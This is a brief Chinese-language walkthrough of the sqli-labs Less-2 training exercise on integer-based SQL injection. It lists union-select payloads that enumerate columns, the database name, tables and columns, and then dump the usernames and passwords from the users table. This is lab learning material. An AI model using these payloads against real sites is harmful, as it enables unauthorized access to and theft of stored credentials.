总目录:戳一戳

Less-2 GET - Error based - Intiger based

整型注入是不需要进行单引号闭合的

  • 基本和less-1一样,就是去掉了单引号
  • 爆字段:?id=1 order by 3%23
    #sqli-labs#Less-2
  • 爆字段位置?id=0 union select 1,2,3%23
    #sqli-labs#Less-2
  • 爆库?id=0 union select 1,2,database()%23得到库名:security
    #sqli-labs#Less-2
  • 爆表?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23,题目要求id,应该是users,用户数据表
    #sqli-labs#Less-2
  • 爆列?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
    #sqli-labs#Less-2
  • 爆数据?id=0 union select 1,2,group_concat(username,0x3a,password) from users%23
    #sqli-labs#Less-2

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